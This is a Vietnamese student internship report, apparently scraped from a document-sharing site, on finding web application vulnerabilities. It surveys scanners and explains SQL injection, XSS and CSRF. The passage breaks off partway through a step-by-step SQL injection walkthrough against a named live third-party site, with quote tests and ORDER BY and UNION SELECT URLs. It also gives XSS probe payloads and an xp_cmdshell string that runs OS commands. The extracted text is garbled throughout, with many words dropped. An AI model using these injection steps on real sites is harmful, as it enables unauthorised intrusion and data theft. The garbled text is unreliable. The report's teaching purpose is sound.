Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application

12 482 9
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Công cụ phương pháp phát lỗ hổng bảo mật web application MỤC LỤC CHƯƠNG I – GIỚI THIỆU VỀ DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP Giới thiệu doanh nghiệp Công việc thực tập 2.1 Bộ phận thực tập công việc thực tập 2.2 Thời gian thực tập, cán phụ trách CHƯƠNG II – NỘI DUNG THỰC TẬP Tình hình an ninh mạng Khái niệm, cấu trúc cách hoạt động Web Application 2.1 Khái niệm Web Application 2.2 Cấu trúc cách hoạt động Web Application Giới thiệu Web Application tạo WORDPRESS, JOOMLA, vBulletin…………………………………………………………………………… 3.1 WordPress…………………………………………………………………… 3.2 Joomla………………………………………………………………………… 3.3 vBulletin……………………………………………………………………… Công cụ phương pháp phát lỗ hổng bảo mật Web Application 4.1 Phương pháp thủ công phát lỗ hổng bảo mật Web Application 4.2 Công cụ phát lỗ hổng bảo mật Web Application 4.2.1 Paros Proxy 4.2.2 Acunetix Web Vulnerability Scanner 4.2.3 Maxisploit Scanner Một số lỗ hổng bảo mật Web Application 5.1 Lỗi SQL Injection 5.1.1 Khái niệm 5.1.2 Các dạng công 5.1.3 Cách thức phương pháp công 5.1.4 Cách phòng chống bảo mật 4.2 Lỗi Cross Site Scripting (XSS) 5.2.1 Khái niệm 5.2.2 Các dạng công 5.2.3 Cách thức phương pháp công 5.2.4 Cách phòng chống bảo mật 5.3 Lỗi Cross-site Request Forgery (CSRF) 5.3.1 Khái niệm 5.3.2 Các dạng công 5.3.3 Cách thức phương pháp công 5.3.4 Cách phòng chống bảo mật 5.4 Một số lỗ hổng Web Application khác bật 5.4.1 Lỗi Heartbleed 5.4.2 Khai thác qua Phishing Một số Tool Khai thác lỗ hổng bảo mật Web Application 6.1 Havij 6.1.1 Giới thiệu 6.1.2 Đặc điểm 6.1.3 Cách hoạt động 6.2 Sqlmap 5.2.1 Giới thiệu 5.2.2 Đặc điểm 5.2.3 Cách hoạt động Nguy hiểm mối đe dọa từ lỗ hổng bảo mật 7.1 Từ lỗi SQL Injection 7.2 Từ lỗi Cross Site Scripting (XSS) 7.3 Từ lỗi Cross-site Request Forgery (CSRF) CHƯƠNG III – KẾT QUẢ THỰC TẬP Khảo sát danh sách số Web Application có lỗi bảo mật Khai thác công số Web Application có lỗi bảo mật Đưa giải pháp khắc phục, phòng chống bảo mật cụ thể CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT Đối với Sinh viên thực tập Đối với Doanh nghiệp thực tập Đối với Nhà trường CHƯƠNG V – TÀI LIỆU THAM KHẢO DANH SÁCH HÌNH VẼ Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 3: Công nghệ Web 2.0 Hình 4: Một Web Application Hình 5: Thành phần Web Application Hình 6: Cách thức hoạt động Web Application Hình 7: Cách thức hoạt động Web Application Hình 8: Giao diện chương trình Paros Proxy Hình 9: Kết Scan Website bị lỗi Paros Proxy Hình 10: Giao diện Acunetix Web Vulnerability Scanner Hình 11: Kết Scan Acunetix Web Vulnerability Scanner Hình 12 Giao diện làm việc Maxisploit Scanner Hình 13 Kết Scan Website Maxisploit Scanner Hình 14 Phương pháp luận công SQL Injection Hình 15 Các dạng công SQL Injection Hình 16 Các cách phát công SQl Injection Hình 17 Cách phòng chồng công SQL Injection Hình 18 Cách phòng chồng công SQL Injection Hình 19 Quy trình công XSS đơn giản Hình 20 Ví dụ công XSS thông qua Email Hình 21 Ví dụ công XSS ăn cắp Cookies Hình 22 Quy trình công XSS Hình 23 Quy trình công CSRF Hình 24 Cách thức công chung công CSRF Hình 25 Cách thức công chung công CSRF Hình 26 Mô hình công CSRF theo phương thức POST Hình 27 Giao diện làm việc Havij Hình 28: Giao diện làm việc Sqlmap Hình 29 Thống kê mối nguy hiểm từ công SQL Injection theo EC – Council Hình 30 Các site bị lỗi SQL injection quét Maxisploit CHƯƠNG I – GIỚI THIỆU DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP Giới thiệu doanh nghiệp Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA thành lập từ năm 2004, tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy động, nhiệt huyết kinh nghiệm lãnh vực CNTT, với tâm huyết góp phần vào công thúc đẩy tiến trình đưa công nghệ thông tin ngành kinh tế mũi nhọn, góp phần phát triển nước nhà Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Lĩnh vực hoạt động chính: Trung tâm ATHENA tập trung chủ yếu vào đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo tiêu chuẩn quốc tế hãng tiếng Microsoft, Cisco, Oracle, Linux LPI , CEH, Song song đó, trung tâm ATHENA có chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng đơn vị Bộ Quốc Phòng, Bộ Công An , Ngân hàng, Doanh nghiệp, quan Chính phủ, tổ chức Tài nhiều học viên tốt nghiệp trung tâm chuyên gia đảm nhận nhiều vị trí quan Ngoài chương trình đào tạo, Trung tâm ATHENA có nhiều chương trình hợp tác trao đổi công nghệ với nhiều đại học lớn Đại học Bách Khoa Thành Phố Hồ CHính Minh, Đại học An Ninh Nhân Dân, Học viện Công nghệ Bưu Viễn thông, Hiệp hội an toàn thông tin (VNISA), ĐH Công nghệ Thông tin, Hội Tin học Tp Hồ Chí Minh (HCA), v v… Đội ngũ giảng viên, nhân viên: Tất giảng viên trung tâm ATHENA có tốt nghiệp từ trường đại học hàng đầu nước Tất giảng viên ATHENA phải có chứng quốc tế MCSA, MCSE, CCNA, CCNP, Security+, CEH,có sư phạm Quốc tế (Microsoft Certified Trainer).Đây chứng chuyên môn bắt buộc để đủ điều kiện tham gia giảng dạy trung tâm ATHENA Bên cạnh đó,Các giảng viên ATHENA thường tu nghiệp cập nhật kiến thức công nghệ từ nước tiên tiến Mỹ , Pháp, Hà Lan, Singapore, truyền đạt công nghệ chương trình đào tạo trung tâm ATHENA Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Công việc thực tập 2.1 Bộ phận thực tập công việc thực tập - Bộ phận thực tập: Nghiên cứu phận Công nghệ thông tin Trung tâm - Công việc thực tập: Áp dụng kiến thức học trường tài liệu bên để tìm hiểu lỗ hổng bảo mật Web Application, công cụ công, cách thức công bảo mật Web Application, cụ thể tìm hiểu cách hoạt động Web Application, công cụ phương pháp phát Web Application bị lỗi bảo mật, lỗi bảo mật Web Application thường gặp nay, cách thức hoạt động hay công lỗi bảo mật đó, từ áp dụng vào số Web Application khảo sát đưa giải pháp phòng chống 2.2 Thời gian thực tập cán hướng dẫn - Thời gian thực tập: từ 04/03/2014 đến /05/2014 - Cán phụ trách: Anh Trần Lâm Mẫn – nhân viên giảng dạy Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA, Thầy Võ Đỗ Thắng – Giám đốc Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA CHƯƠNG II – NỘI DUNG THỰC TẬP Tình hình an ninh mạng Chỉ tính từ đầu năm 2012 đến tháng 3/2013, trung bình ngày có tới website Việt Nam bị công, tương ứng với 2.000 website bị công năm Trên 70% trang web có lỗ hổng dẫn đến hành vi trộm cắp liệu phá hoại công ty, tổ chức, cá nhân như: Thông tin thẻ tín dụng hay danh sách khách hàng, đánh cắp bí mật thương mại, lừa đảo, phát tán, thay đổi nội dung, chiếm quyền điều khiển, phá hoại hoạt động,…v v Khả truy cập 24/7 từ nơi giới hay ứng dụng web không an toàn thường cung cấp truy cập dễ dàng đến sở liệu sơ hở lớn cho phép tin tặc thực hoạt động bất hợp pháp cách sử dụng trang web công Hầu hết nguyên nhân vụ công website tồn nhiều lỗ hổng bảo mật Một điều đáng lo ngại cá nhân, tổ chức doanh nghiệp, CNTT nói chung ứng dụng web nói riêng trở thành nhân tố, công cụ đắc lực hỗ trợ tăng hiệu suất làm việc lợi nhuận, hiểu kinh tế cao cho họ, quan tâm, chi phí bỏ cho lĩnh vực bảo trì, bảo mật lại không đáng kể Đồng thời mói nguy hiểm đe dọa ngày phát triển phức tạp hơn, khả công khai thác kẻ xấu tăng lên rõ rệt, mã độc, phần mềm độc hại, virut trở nên khó phát tiêu diệt Vì vấn đề an ninh mạng nói chung bảo mật Web Application nói riêng vấn đề quan trọng cấp bách cần phải nghiên cứu, tìm hiểu đưa giải pháp kỹ thuật để phòng tránh, đồng thời cá nhân, tổ chức doanh nghiệp cần dành nhiều thời gian, kinh phí, nhân lực kỹ thuật để đảm bảo cho hệ thống mạng Web Application hoạt động tốt, có khả chống chọi ngăn chặn trước mối nguy hiểm công Khái niệm, cấu trúc cách hoạt động Web Application 2.1 Khái niệm Web Application Web Application hay gọi ứng dụng web chương trình hay phần mềm ứng dụng chạy tảng web, web application thường cài máy chủ Web Server mạng internet, người dùng truy cập internet sử dụng ứng dụng thông qua trình duyệt web Web Application trở nên phổ biến với phát triển trình duyệt web, khả cập nhật trì hoạt động ứng dụng web dễ dàng mà không cần phải cài đặt hay phân phối Những ứng dụng web thường có giao diện, đẹp, phong phú, giúp người dùng dễ dàng tương tác sử dụng Một số ứng dụng web phổ biến như: Webmail, bán hàng trực tuyến, wiki, từ điển, đồ, mạng xã hội v…v Xu hướng website tương tác phát triển mạnh với đời Web 2.0, thuật ngữ bao gồm nhiều công nghệ có, có nhiều tính tương tác cao, người dùng trung tâm Hình 3: Công nghệ Web 2.0 Hình 4: Một Web Application 2.2 Cấu trúc cách hoạt động Web Application Một ứng dụng Web thông thường cấu trúc ứng dụng ba lớp Ở dạng phổ biến nhất, trình duyệt Web lớp thứ nhất, máy sử dụng vài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java, PHP, Python, Ruby On Rail) lớp giữa, sở liệu lớp thứ ba Trình duyệt gửi yêu cầu đến lớp giữa, lớp phục vụ cách tạo truy vấn cập nhật sở liệu tạo giao diện người dùng Cụ thể người dung khởi tạo yêu cầu ban đầu trình duyệt thông qua Internet đến máy chủ ứng dụng web Ứng dụng web truy cập vào máy chủ sở liệu để thực nhiệm vụ yêu cầu lấy thông tin nằm sở liệu Các ứng dụng web sau trình bày thông tin lấy cho người sử dụng thông qua trình duyệt Hình 5: Thành phần Web Application Hình 6: Cách thức hoạt động Web Application Hình 7: Cách thức hoạt động Web Application Giới thiệu Web Application tạo WordPress, Joomla, VBB Ngày nay, việc sở hữu tay trang Blog, Website hay diễn đàn cá nhân miễn phí trở nên dễ dàng phát triển nhanh chóng mã nguồn mở dịch vụ công cụ hỗ trợ tạo chúng Mã nguồn mở khung, thư viện tổ chức uy tín giới đứng phát triển chia sẻ với hàng nghìn lập trình viên rải rác giới Người quản trị cần có hiểu biết mã nguồn mở để thiết kế, xây dựng, cài đặt hướng dẫn để vận hành trang web Nếu xét đến chi phí để thiết kế, cài đặt xây dựng trang mã nguồn mở rẻ thường miễn phí với tự làm Web viết mã nguồn mở có nhiều phiên bản, cập nhật hỗ trợ nhanh 3.1 WordPress WordPress mã nguồn mở hoàn toàn miễn phí để làm blog, trang web cá nhân, WordPress viết ngôn ngữ lập trình PHP sử dụng MySQL database WordPress mã nguồn sử dụng nhiều khả tùy biến cao, dễ sử dụng phổ biến Đặc tính bật - Hệ thống Plugin phong phú cập nhật liên tục, bạn tự viết plugin - Hỗ trợ nhiều ngôn ngữ - Được cập nhật, vá lỗi hỗ trợ liên tục - Có nhiều Theme miễn phí, chuyên nghiệp SEO tốt - Tích hợp sẵn Latex – công cụ soạn thảo công thức toán học, bạn viết công thức toán học viết - Upload quản lý hình ảnh cách dễ dàng, đặc biệt chức tạo thumbnail - Có hệ thống Widget đa dạng ( ứng dụng tạo thêm ) đa dạng thống kê số người truy cập, danh sách viết mới, viết bật, xem nhiều, comment nhiều, v v - Hệ thống phân quyền với nhiều cấp độ khác - Hệ thống quản lý duyệt Comment hay, chặn spam theo IP - Sao lưu liệu di chuyển liệu cách dễ dàng - Hỗ trợ import đa từ Blog khác Blogspot, Tumblr, Blogger, LiveJournal - WordPress hỗ trợ 3GB để lưu trữ hình ảnh văn Nhược điểm WordPress - Chi phí đầu tư bảo trì hosting cao - Cần phải cài đặt, tạo database ban đầu - Muốn tùy biến WordPress hay chỉnh sửa template cần phải có kỹ lập trình - Sử dụng theme đẹp plugin tốt phải trả phí - Quá nhiều hàm có sẵn khái niệm khó - Bị phận hỗ trợ quản lý WordPress can thiệp thấy hoạt động Website có thay đổi bất thường Hình WordPress 3.2 Joomla Joomla hệ thống quản trị nội dung mã nguồn mở, Joomla viết ngôn ngữ PHP kết nối tới sở liệu MySQL, giúp xây dựng trang web ứng dụng trực tuyến mạnh mẽ Đặc tính bật - Dễ sử dụng, thân thiện người nghiệp dư chuyên gia - Joomla có thư viện ứng dụng (extensions) khổng lồ lập trình lập trình viên khắp nơi, từ giao diện mức đơn giản phức tạp, hầu hết miễn phí, giúp bạn có nhiều lựa chọn mở rộng tính cho website minh - Dễ dàng tìm sửa lỗi gặp phải - Joomla cung cấp tài liệu hướng dẫn sử dụng từ nâng cao, tài liệu API dành cho lập trình viên, phát triển viên cung cấp đầy đủ Nhược điểm Joomla - Mã nguồn Joomla tương đối lớn dẫn tới tốn nhiều tài nguyên hệ thống - Việc có nhiều extensions viết nhiều lập trình viên khác dẫn tới tiềm ần lỗi bảo mật extensions - Khả SEO Joomla loại mã nguồn mở - Độ tương thích với loại hosting không cao, không chạy tốt máy chủ Windows ISS - Số lượng lệnh truy vấn đến SQL Server nhiều Hình Joomla 3.3 vBulletin vBulletin sản phẩm phần mềm viết PHP lấy MySQL làm sở liệu, vBulletin dùng để xây dựng cộng đồng (forum) internet Đặc điểm bật - Giao diện đẹp, tính bảo mật cao, quản lý dễ dàng, nhiều chức - Có nhiều Addon, Skin, Theme Style khác - Chức cho người quản trị đầy đủ có nhiều lự chọn - Có thể sử dụng, chỉnh sửa, upload file lên host dễ dàng - Có thể tải file backup để tạo lại diễn đàn Nhược điểm vBulletin - Sự bảo mật an toàn tùy thuộc vào khả năng, kiến thức, kinh nghiệm, cẩn thận người quản trị - Là mã nguồn có thu phí, bị tịch thu, xử lý dùng lậu - ACP đầy đủ chuyên nghiệp, phức tạp - Tạo skin, theme phức tạp - Tốc độ truy xuất liệu hạn chế, chạy nặng với dung lượng liệu lớn tốn bandwidth - Tốn phí trì domain host Hình 10 vBulletin Công cụ phương pháp phát lỗ hổng bảo mật Web Application 4.1 Phương pháp thủ công phát lỗ hổng bảo mật Web Application a SQL Injection Có cách đơn giản để kiểm tra website bạn có bị lỗi SQL injection hay không: Bước 1: Mở trình duyệt gõ vào địa website cần kiểm tra Bước 2: Tìm đường dẫn có dạng: http://ten-website.com/?cid=1&pid=2 Sau bạn thêm dấu nháy đơn ' nháy kép " vào đường dẫn trên: http://tenwebsite-cua-ban.com/?cid=1&pid=2' Nếu bạn thấy dòng thông báo tương tự: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in tức website bạn bị lỗi SQL Injection b Cross Site Scripting (XSS) Một site có tất phần sau: search results, error messages, Web-form, chủ yếu lỗi XSS nằm phần này, nói chung XSS xảy chỗ mà người dùng nhập liệu vào sau nhận Cách tìm lỗi rõ ràng chia thành bước: Bước 1: Mở website cần kiểm tra Bước 2: Bắt đầu kiểm tra , định vị ô tìm kiếm login form gửi thông tin (nhập thông tin nhấn submit, login hay ok ) Bước 3: Xác định khả site có bị lỗi XSS hay không cách xem thông tin trả về: Ví dụ : • "Your search for 'XSS' did not find any items" • "Your search for 'XSS' returned the following results" • "User 'XSS' is not valid" • "Invalid login 'XSS" mà có dính tới chữ "XSS" mà nhập vào ban đầu 99% "Alert" bị XSS Chú ý: Các ô input hay biến address ( var= ) thấy nhét liệu vào Hãy thử với script này: < i*g csstest=java script:alert('XSS')> &{alert('XSS')}; c Cross-site Request Forgery (CSRF) Nếu website cho phép thực chức thông qua request GET POST cố định có khả mắc lỗi CSRF cao, tức replay lại request POST GET có khả website mắc lỗi CSRF lừa trình duyệt người dùng gửi câu lệnh http đến ứng dụng Web, số action gây việc thay đổi CSDL insert, update, delete… dẫn đến lỗi nằm chỗ request insert, delete update vào sở liệu Tại Website request tồn thẻ , , textbox button… 4.2 Công cụ phát lỗ hổng bảo mật Web Application 4.2.1 Paros Proxy Paros Proxy ứng dụng kiểm tra lỗ hổng bảo mật cá ứng dụng web Proxy Một trang web Java thường kết hợp dạng proxy điều dẫn tới có nhiều lỗ hổng bảo mật Phần mềm hỗ trợ cho phép thay đổi/xem gói tin HTTP/HTTPS thay đổi chúng cookies Bao gồm tính Web Recorder, web spider, công cụ Scanner cho phép kiểm tra ứng dụng có khả bị công lỗi SQL Injection Cross-site Scripting Trước cài đặt Paros Proxy bạn phải cài Java SE Runtime Environment 32 bit Paros Proxy viết tảng Java chạy JRE 32 bit Hình 8: Giao diện chương trình Paros Proxy Hướng dẫn quét lỗ hổng bảo mật Website Paros Proxy Tools Bước Mở chương trình vào Analyse -> Scan Policy để chỉnh sửa sách Scan (thêm/bớt muốn) Bước Tiếp theo vào Tool -> Options -> Local Proxy để chỉnh Local Proxy với Address localhost Port 8080 Bước Tiếp theo vào máy tính chỉnh Proxy cách vào Control Panel -> Internet Options -> Connections -> LAN Setting chỉnh Local Proxy với Address localhost Port 8080 Bước Tiếp theo vào trình duyệt Mozila Firefox để chỉnh Proxy cách vào Options -> Advanced -> Network -> Setting chỉnh Local Proxy với Address 127.0.0.1 Port 8080 Bước Sau tìm Website nghi ngờ bị lỗi sau cho chạy trình duyệt Bước Tiếp theo Site chọn, nhìn vào khung bên phải xem thông tin trang Web Server Scan như: phương thức (POST/GET), host, kiểu kết nối, tên miền phiên trình duyệt, ngôn ngữ, v.v Bước Tiếp theo nhìn vào bên trái giao diện chương trình, phần Site click vào Site vừa chạy vào Analyse -> Scan để tiến hành quét Bước Sau thấy có thông báo OK xuất hiện, tức Scan xong vào Report -> Last Scan Report để xem kết Hình 9: Kết Scan Website bị lỗi Paros Proxy 4.2.2 Acunetix Web Vulnerability Scanner Acunetix WVS (Web Vulnerability Scanner) chương trình tự động kiểm tra ứng dụng Web để tìm kiếm lỗ hổng bảo mật SQL Injection, hay Cross-Site Scripting,… tìm kiếm sách mật đăng nhập phương thức xác thực vào Web Site Acunetix WVS công cụ quét lỗi cho ứng dụng Web dựa sở liệu rộng lớn cập nhật thường xuyên, với thuật toán Heuristic đáp ứng chế họat động phức tạp môi trường Web Acunetix WVS tự động kiểm tra lổ hỗng thông dụng mối nhạy cảm khác web site truy cập trình duyệt, hay ứng dụng xây dụng kỹ thuật tiên tiến AJAX để thực điều Acunetix WVS dựa nhiều phương pháp công cụ tích hợp để: • Crawling (lấy về) toàn website gồm tất liên kết site tập tin robots.txt sau hiển thị tòan cấu trúc cách chi tiết • Sau tiến trình cwarling khám phá tình trạng ứng dụng web, Acunetix WVS tự động phát động đợt công lập trình sẳn dựa lổ hổng, giống web site bị hacker công thực sự, phân tích trang vị trí nhập liệu với kết hợp khác liệu đầu vào làm cho website hiển thị thông tin nhạy cảm • Sau tìm lổ hổng, Acunetix WVS thông báo “Alerts Node”, alert gồm thông tin lỗi mối nguy hiểm gặp phải “dĩ nhiên” kèm theo khuyến nghị cách thức khắc phục • Sau tiến trình kiểm tra hòan tất, lưu lại thành tập tin để phân tích sau này, với công cụ báo cáo chuyên nghiệp giúp cho web master dễ dàng tổng hợp kết kiểm tra khác ứng dụng Web Sau quét, Acunetix WVS liệt kê cấu trúc site, phiên webserver sử dụng, URL không tồn tại, lỗi phát mức độ Security site quét, nhìn hình bạn thấy liệt kê cụ thể Mức độ bảo mật website AWV đánh giá từ low, medium, high Nếu website bạn liệt kê mức low, nhanh chóng fix lỗi mà AWV liệt kê Cửa sổ tool Explorer cung cấp cho ta công cụ WebScanner gồm Tool (Site Scrawler, Target Finder, Subdomain, Authentication, v v ), Web Service, Configuration, General cần nhấp chuột vào công cụ để AWV thực nhiệm vụ Cửa sổ bên phải lần liệt kê lại công cụ Dưới phần phần thao tác nhanh đến dịch vụ NewScan, Sample Scan, Reporter, v v Sau config chương trình hoàn tất, ta tiến hành quét, AWV cung cấp cho bạn phiên Webserver detect được, ứng dụng Web chạy, cổng mở, cấu trúc site, mức độ Secure, URL lợi dụng, ngôn ngữ, kiểu kết nối thông tin cách khai thác, quan trọng lỗi có Hình 10: Giao diện Acunetix Web Vulnerability Scanner Hướng dẫn quét lỗ hổng bảo mật Website Acunetix Web Vulnerability Scanner Tạo phiên Scan cách vào click vào New Scan chương trình Ở phần Scan Single Website gõ vào địa site cần scan Tiếp theo click Next xuống tab Option để tùy chỉnh sách vá cấu hình Scan phần Scan Profile Scan Testing mặc định để Default Tiếp theo click vào Next để xuống tab Target, tùy chỉnh để mặc định click Next Tiếp theo chuyển xuống tab Login phần để mặc định Cuối nhấn Finish -> OK đợi Scan xong xem kết Hình 11: Kết Scan Acunetix Web Vulnerability Scanner 4.2.3 Maxisploit Scanner Maxisploit phần mềm để Scan lỗi Sql Injection XSS website Nó scan loạt website nước dựa vào từ khóa mà chọn Hình 12 Giao diện làm việc Maxisploit Scanner Công cụ Maxisploit có bốn mục đích chính, sau: • Đối với lỗi SQL Injection quét trang web dễ bị tổn tương dựa lỗi SQL phổ biển cho nhiều hệ quản trị sở liệu, như: MySQL, SQL server, Microsoft Access, Các scan khác nhau: quét trang web không hiển thị lỗi SQL dễ bị tổn thương • Đối với XSS scanner: Nó mác hóa XSS vector cố gắng quét kết nhận từ máy chủ web (web server) Nếu XSS vector tìm thấy bên mã nguồn trang web có lỗi Nó sử dụng yêu cầu GET đến web server • Admin scanner: Nó quét tới trang đăng nhập admin, dựa vào dánh sách mặc định hay danh sách mà bạn cung cấp Nếu nhận hồi đáp với mã 200 306 xem xét thành công • Shared hosting scanner: Nó gửi yêu câu to sameip.org sau phân tích mã html cho trang Hình 13 Kết Scan Maxisploit Scanner Một số lỗ hổng bảo mật Web Application 5.1 Lỗi SQL Injection 5.1.1 Khái niệm Ứng dụng Web cho phép User truy cập Website hợp pháp để up tải liệu / vào sở liệu qua Internet cách sử dụng trình duyệt web ưa thích họ Cơ sở liệu trung tâm lưu trữ liệu cần thiết cho trang web để cung cấp nội dung, thông tin cụ thể cho User cho thông tin cho khách hàng, nhà cung cấp, nhân viên loạt bên liên quan SQL Injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trảvề để inject (tiêm vào) thi hành câu lệnh SQL bất hợp pháp, Sql Injection cho phép kẻ công thực thao tác, delete, insert, update,… sỡ liệu ứng dụng, chí server mà ứng dụng chạy, lỗi thường xãy ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase Công cụ dùng để công cần trình duyệt web bất kì, chẳng hạn Internet Explorer, Mozila Firefox, Chrome,.v v Hình 14 Phương pháp luận công SQL Injection 5.1.2 Các dạng công Dạng công vượt qua kiểm tra lúc đăng nhập Với dạng công này, tin tặc dễ dàng vượt qua trang đăng nhập nhờ vào lỗi dùng câu lệnh SQL thao tác sở liệu ứng dụng web Thông thường phép người dùng truy cập vào trang web bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin tên đăng nhập mật Sau người dùng nhập thông tin vào, hệ thống kiểm tra tên đăng nhập mật có hợp lệ hay không để định cho phép hay từ chối thực tiếp Ví dụ, trường hợp sử dụng ASP, người ta dùng trang : trang HTML để hiển thị Form nhập liệu trang ASP để xử lý thông tin nhập vào từ phía người dùng Dạng công sử dụng câu lệnh Select Dạng công phức tạp Để thực kiểu công này, kẻ công phải có khả hiểu lợi dụng sơ hở thông báo lỗi từ hệ thống để dò tìm điểm yếu khởi đầu cho việc công Ví dụ, trang tìm kiếm, trang có textbox Các trang cho phép người dùng nhập vào thông tin tìm kiếm Họ, Tên, … Đoạn mã thường gặp để tìm kiếm Tương tự trên, tin tặc lợi dụng sơ hở câu truy vấn SQL để nhập vào trường tên tác giả chuỗi giá trị, Lúc này, câu truy vấn đầu không thành công, chương trình thực thêm lệnh sau từ khóa UNION Câu truy vấn thực việc mà hacker mong muốn câu lệnh họ Dạng công sử dụng câu lệnh Insert Thông thường ứng dụng web cho phép người dùng đăng kí tài khoản để tham gia Chức thiếu sau đăng kí thành công, người dùng xem hiệu chỉnh thông tin SQL injection dùng hệ thống không kiểm tra tính hợp lệ thông tin nhập vào Dạng công sử dụng Stored-Procedures Việc công stored-procedures gây tác hại lớn ứng dụng thực thi với quyền quản trị hệ thống 'sa' Ví dụ, ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: ' Lúc hệ thống thực lệnh liệt kê thư mục ổ đĩa C:\ cài đặt server Việc phá hoại kiểu tuỳ thuộc vào câu lệnh đằng sau cmd.exe.fg Hình 15 Các dạng công SQL Injection 5.1.3 Cách thức phương pháp công a Các đường khai thác Qua User Input: User input điển hình thường đến từ form nhập liệu, form search hay link… Những liệu web browser gửi đến server thông qua phương thức HTTP GET hay POST trở thành tham số cho ứng dụng web truy cập tới sở liệu Qua Cookies: Cookies tệp tin lưu trữ thông tin trạng thái người dùng truy cập ứng dụng web Những thông tin người lập trình định, tạo server lưu trữ client Khi người dùng truy cập lại ứng dụng web, cookies browser gửi lên server giúp phục hồi lại trạng thái người dùng lần truy cập trước Do lưu trữ client nên người dùng chỉnh sửa tùy ý, ứng dụng web sử dụng thông tin lưu cookies để xây dựng truy vấn tới sở liệu hacker hoàn toàn chèn vào cookies script sql để thực công Sql Injection Qua biến Server Biến server khái niệm tương đối lạ lẫm không Một số ví dụ biến server Http header, Network header… Không phổ biến giá trị lưu biến server ứng dụng web sử dụng việc logging truy cập hay thống kê truy cập theo user agent… Những công việc có tương tác với sở liệu nên hacker hoàn toàn sử dụng biến server việc khai thác Sql Injection b Kỹ thuật khai thác Boolean Based Time Based Blind SQL Injection Boolean based: Cơ sở kỹ thuật việc so sánh sai để tìm ký tự thông tin tên bảng, tên cột… Do đó, với dải giá trị chữ số, chữ (bao gồm hoa, thường) số ký tự đặc biệt, việc so khớp trở nên khó khăn đòi hỏi nhiều thời gian Do việc khai thác lỗi chủ yếu tiến hành tools Trong kỹ thuật Blind SQL injection (BQLi), có nhiều phương pháp khác Điểm khác biệt phương pháp tối ưu thời gian Khái niệm Time based: Giống boolean based attacks khác cách suy diễn VD: id = and ascii(mid((query), position, 1)) > ? Union Query Based Đây phương pháp phổ biến khai thác Sql Injection Cơ sở sử dụng từ khóa union để gộp kết mệnh đề select, qua lấy thông tin từ sở liệu, cụ thể dùng để ghép nối kết hai hay nhiều câu lệnh SELECT lại với thành tập kết VD: http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4 Batched Query Đây phương pháp áp dụng khả thực thi lúc nhiều câu lệnh Sql số hệ quản trị sở liệu khả hỗ trợ ngôn ngữ lập trình Phương pháp mạnh mẽ gây nguy hiểm với hệ thống Bằng cách thêm vào dòng lệnh Update, Insert hay Delete, liệu sở liệu ứng dụng web không toàn vẹn VD: http://www.abslatin.co.uk/node.php?id=1 delete tablename, insert column Order by Clause Không giống phương pháp trên, nội dung inject nằm mệnh đề điều kiện where Trong phương pháp này, cố gắng tiêm mã script vào mệnh đề order VD: http://www.abslatin.co.uk/node.php?id=1 order by Người lập trình muốn liệt kê sản phẩm công ty bao gồm thông tin: Mã sản phẩm, Tên sản phẩm, Ngày tháng… có chức cho phép người dùng tùy chỉnh xem họ muốn xếp theo thứ tự ngày tháng, theo tên hay mã sản phẩm VD: select id, name, price from product where id order by $varOrder Trong trường hợp thêm trực tiếp mệnh đề sub select thông qua từ khóa union Một cách khai thác sử dụng BATCHED QUERY, phương pháp Inject sub select rõ ràng cách thực phải kết hợp với kỹ thuật BOOLEAN BASED BLIND SQLI Hình 16 Các cách phát công SQl Injection c Cách thức công Sau xin giới thiệu cách công SQL Injection qua phương pháp khai thác lỗi Inband SQL - Inband SQL phương pháp dùng hàm Union để khai thác, Union hàm liên kết truy vấn Select với nhau, cụ thể dùng để ghép nối kết hai hay nhiều câu lệnh SELECT lại với thành tập kết Từ Version trở MySQL có thêm database hệ thống information_schema, table hệ thống tables, columns table chứa tên table column Website hệ thống - Inband SQL lỗi cho phép số column tên column bảng, từ biết bảng ta lấy cột thông tin cột cách dễ dàng - Đầu tiên tìm site bị lỗi SQL Injection, trang http://www.abslatin.co.uk - Cách kiểm tra trang bị lỗi SQL Injection, chạy http://www.abslatin.co.uk/node.php?id=1 không thấy lỗi gì, thêm dấu ‘ sau số http://www.abslatin.co.uk/node.php?id=1’ thấy báo You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line Như thấy lỗi SQL Injection có thề khai thác - Tiếp theo tìm số cột biểu đồ CSDL cách chạy http://www.abslatin.co.uk/node.php?id=1 order by Ở ta dùng dùng order by đế xác định cột, tăng giá trị lên đơn vị http://www.abslatin.co.uk/node.php?id=1 order by đến thấy thông bào lỗi dừng lại Thấy đến báo lỗi Unknown column '5' in 'order clause' suy biểu đồ CSDL có cột từ đến - Chú ý sử dụng dấu sau đường link đến loại bỏ phần sau câu truy vấn, phpmysql dùng để ghi comment - Tiếp theo ta tìm số cột biểu đồ CSDL bị lỗi ta chạy http://www.abslatin.co.uk/node.php?id=null union select 